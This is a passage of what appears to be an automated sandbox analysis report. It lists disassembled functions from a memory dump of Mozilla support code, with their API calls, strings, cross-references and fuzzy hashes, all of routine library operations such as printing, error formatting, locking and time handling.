_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CB9148E), ref: 6CB76091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CB1EE51,00000000,?), ref: 6CB760BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB760C4

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 4db9097deb327989cd1f7f7e0f6fff05deb47df0b38b5edf597b796903a5d149
Instruction ID: 7d54cacef65d385208a7bc38bab222edebcdd31f5724074df0589edea0db12f6
Opcode Fuzzy Hash: 4db9097deb327989cd1f7f7e0f6fff05deb47df0b38b5edf597b796903a5d149
Instruction Fuzzy Hash: 9E21B5B1A002589FDF205F24DD49BAE7BBCFF46618F008429E85A97240DB74A548CFE2

Function 6CB77030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6CB77046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6CB77060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB7707E

Part of subcall function 6CB281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CB281DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB77096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB7709C
LocalFree.KERNEL32(?), ref: 6CB770AA

Strings

### ERROR: %s: %s, xrefs: 6CB77087
(null), xrefs: 6CB7706A, 6CB77083

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 527a812c774f120be5397f2eeb90f91d489fe387e3d1eb127463c58e1f149960
Instruction ID: 6f6d6c6e903f06f2852fd03884d5219da50b7d1185fdfb7673642dea772834e6
Opcode Fuzzy Hash: 527a812c774f120be5397f2eeb90f91d489fe387e3d1eb127463c58e1f149960
Instruction Fuzzy Hash: 8301DDB2A00108AFDF145F65DD4ADAF7BBCEF4B215F010435FA06E3241E6716914CBA1

Function 6CB39E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB39EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CB39F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB39F34
LeaveCriticalSection.KERNEL32(?), ref: 6CB3A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB3A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB3A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB3A8B1, 6CB3A8D4, 6CB3A8EF

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 8615a21fc91d41f434c18865199bb4f160681fd198ac2229f2193e9ed00e0455
Instruction ID: ba7611af77964e91191b7d967343d1a9026656e7918636accdbec72ffd80564f
Opcode Fuzzy Hash: 8615a21fc91d41f434c18865199bb4f160681fd198ac2229f2193e9ed00e0455
Instruction Fuzzy Hash: 19729C72A056618FDB04CF68C940215FBE1FF86728B29C76DE8698B791D735E841CF81

Function 6CB62C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB62C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB62C61

Part of subcall function 6CB14DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB14E5A
Part of subcall function 6CB14DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CB14E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB62C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB62E2D

Part of subcall function 6CB281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CB281DE

Strings

ProfileBuffer parse error: %s, xrefs: 6CB62E3B
(root), xrefs: 6CB6354F
expected a Time entry, xrefs: 6CB62E36

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 90d3bf9c24a644ea6dc880f8cacd646941ece3a4227d17236c429b2c60e14b41
Instruction ID: c3d9ff0768904a1f0ea9f6c15c36a09101b7c018bd12286cd2f6664f2a9fb12c
Opcode Fuzzy Hash: 90d3bf9c24a644ea6dc880f8cacd646941ece3a4227d17236c429b2c60e14b41
Instruction Fuzzy Hash: C6919F706087C18FD724CF25C4946AEB7E1EF8A358F50492EE59A87B90DB30D949CB53

Function 6CB3C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6CB3D4BB
0123456789abcdef, xrefs: 6CB3C317

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 0efdd1abf19aa9b180d37e21604eb596af85e6a0eb1fd7d1f6cb4ab4e10d9551
Instruction ID: e0ec35f7cf8b5de7c863ed98fe2b00a47afa5aab06071d39013c6c93a55d6692
Opcode Fuzzy Hash: 0efdd1abf19aa9b180d37e21604eb596af85e6a0eb1fd7d1f6cb4ab4e10d9551
Instruction Fuzzy Hash: 7852E4346483A18FD724CF68C46075AB7F2FB86718F249A1EE8DA87B81D7359845CB43

Function 6CB79E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CB79F3D
__aulldiv.LIBCMT ref: 6CB79F77
__aullrem.LIBCMT ref: 6CB79F8C
__aulldiv.LIBCMT ref: 6CB7A023

Strings

-Infinity, xrefs: 6CB79E60, 6CB79E7B
NaN, xrefs: 6CB79EAB

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 1b35504a8e416b69c3bc1d6bf3b110a51964e8b43c8ae15fdc8bd03a0cfe1798
Instruction ID: 69ccdc15a929bb28863f3da756c08d7d2598c4b984fd6cfb825e6a131b1426f2
Opcode Fuzzy Hash: 1b35504a8e416b69c3bc1d6bf3b110a51964e8b43c8ae15fdc8bd03a0cfe1798
Instruction Fuzzy Hash: 24C1A331E043988BDB24CFA8C8547DEB7B6EB85714F144529D815ABB80D770ED49CFA1

Function 6CB1D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6CB1DC7F
1, xrefs: 6CB1DBDD
9, xrefs: 6CB1DE7F
0, xrefs: 6CB1D852
, xrefs: 6CB1DA88
@, xrefs: 6CB1DAF6
-, xrefs: 6CB1D7DD
8, xrefs: 6CB1DC08

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 9627310ab1279780fd94b96554b9955e1fe32cf19d5d7c2170a32037a13efd2a
Instruction ID: a77c0557d013aa3af9d496d98faa39e22b8e99a969bfd9c4535d7c0f87fded35
Opcode Fuzzy Hash: 9627310ab1279780fd94b96554b9955e1fe32cf19d5d7c2170a32037a13efd2a
Instruction Fuzzy Hash: 0062897160C3C58FDB06CF29E49075ABBE2EB86358F184A1DE8D54BE91C3359985CB83

Function 6CB29F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6CB2A625
1, xrefs: 6CB2A824
0, xrefs: 6CB2AB22
0, xrefs: 6CB2A100
9, xrefs: 6CB2A5D6
' , xrefs: 6CB2A3D8

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: faaf9a466db1d8b07fe363beb9b41277c4260b7458b73d4ea53417f7106e9a6e
Instruction ID: 3119b7cf20286ac4f99b71cb5abfdb479684b49324c18b1df13b8b7c6491a6fe
Opcode Fuzzy Hash: faaf9a466db1d8b07fe363beb9b41277c4260b7458b73d4ea53417f7106e9a6e
Instruction Fuzzy Hash: A082C1319093A18BD711CE19C49027EF7F1EB85758F558A2AE8DD57A90D33CA886CF83

Function 6CB1BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB1C1CB
__aulldiv.LIBCMT ref: 6CB1C24C
__aulldiv.LIBCMT ref: 6CB1C348
__aullrem.LIBCMT ref: 6CB1C365
__aulldiv.LIBCMT ref: 6CB1C37D

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 31cc4f976fcaac1dabbb51d2d278cbcc82c90fc0c5c7c9ae4341fb81887fdf21
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 43320432B086518FC718DE2CC89066ABBE6AFC9310F09867DE499CB795D730ED05CB91

Function 6CB8545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB88A4B

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: f15a72ea45aee40dc347f35b09866465a374ee7c0f9524642aa0716f3dec9b0f
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 8CB1D772E0125ACFDB24CF68CC907E9B7B2EF95314F1802A9C549EB785D7309989CB91

Function 6CB8542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB888F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB8925C

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: b0ef871d79485c86d01f6994f5cf4a18d5961a1ceed2c87ce51962079eabc609
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 8FB1B572E0624ACFDB14CF68CC816ADB7B2EF85314F190269C549EB785D731A989CB90

Function 6CB850C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB88E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB8925C

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: ed1fdcc9420e4496a5e22cfe851ccfd6e3af2bcd3a92d68a0ba4375f7e5d7eeb
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 41A1E772E0115A8FDB14CF68CC8079DB7B2EF85314F1802BAC949EB785D730A999CB90

Function 6CB677A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB67A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB67A93

Part of subcall function 6CB35C50: GetTickCount64.KERNEL32 ref: 6CB35D40
Part of subcall function 6CB35C50: EnterCriticalSection.KERNEL32(6CB9F688), ref: 6CB35D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB67AA1

Part of subcall function 6CB35C50: __aulldiv.LIBCMT ref: 6CB35DB4
Part of subcall function 6CB35C50: LeaveCriticalSection.KERNEL32(6CB9F688), ref: 6CB35DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CB67B31

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: ade51bdb71ba16f1bff7acff6f1e73c5cfaf7af413f747b230a9de793bab7489
Instruction ID: b28f481e805fbcee3f3484c2f076896e4ab262d9f7c5acdcd5d700cc8ade01da
Opcode Fuzzy Hash: ade51bdb71ba16f1bff7acff6f1e73c5cfaf7af413f747b230a9de793bab7489
Instruction Fuzzy Hash: 6BB17A356087818BCB14CF26C45065FB7E2AFC9318F154A1DE99567B91DBB0ED0ACB83

Function 6CB56CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CB56D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB56E1E

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: c50732a705fb0a79113461fd50a81cdee00d95f66b16fffb97feba1447b5f793
Instruction ID: fd45c9b73aa38543237cc6e174cadbb809e3f91b9cbf78d50404f2573624bbaf
Opcode Fuzzy Hash: c50732a705fb0a79113461fd50a81cdee00d95f66b16fffb97feba1447b5f793
Instruction Fuzzy Hash: 6DA17D70A183809FDB15CF25C4907AEFBE6FF89308F44491DE48A87B51DB70A859CB92

Function 6CB7B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CB7B720
RtlNtStatusToDosError.NTDLL ref: 6CB7B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CB4FE3F,00000000,00000000,?,?,00000000,?,6CB4FE3F), ref: 6CB7B760

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 15dd62e1a9adccf1c842c39a22b797b8594a3b2e19b42ad5a1ab0fecd6cdaebb
Instruction ID: a413395257727b8998ca0ca2a9df714e600c86e162214fc9da31498e7e000f76
Opcode Fuzzy Hash: 15dd62e1a9adccf1c842c39a22b797b8594a3b2e19b42ad5a1ab0fecd6cdaebb
Instruction Fuzzy Hash: 0DF0C2B0A4428CAEEF15AAA1CCC5BEF77BDDB04319F105229E921655C0D778A5CCCB71

Function 6CB34640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CB34777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB35585, 6CB355A8, 6CB355C3, 6CB35624

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: ca59d13e43fc7187063891c44ac202985929eab0b51ad138f856768c849f5963
Instruction ID: a10274b737914231a8f155f9bccb60f2731025294988e286de27ef217b886f83
Opcode Fuzzy Hash: ca59d13e43fc7187063891c44ac202985929eab0b51ad138f856768c849f5963
Instruction Fuzzy Hash: 99B29C71A056618FC308CF18C590715BBE2FFC5328B29C7ADE86E8B6A5D771E841CB85

Function 6CB785F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB78C7C
__aulldiv.LIBCMT ref: 6CB78DD7

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 4a82c012578cad50c6657d7031d9be07a6f8a364035c1a984644a485ccea0b5c
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: A3328431F001598BDF18CE9DC4A17AEF7B2FB88300F15853AD91ABB790DA359D458BA1

Function 6CB7B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CB203D4,?), ref: 6CB7B955
NtQueryVirtualMemory.NTDLL ref: 6CB7B9A5

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: d77c96f0089d3e27fe9d4b0698689e299f465cb4debc1f9475507c161a4d5bfb
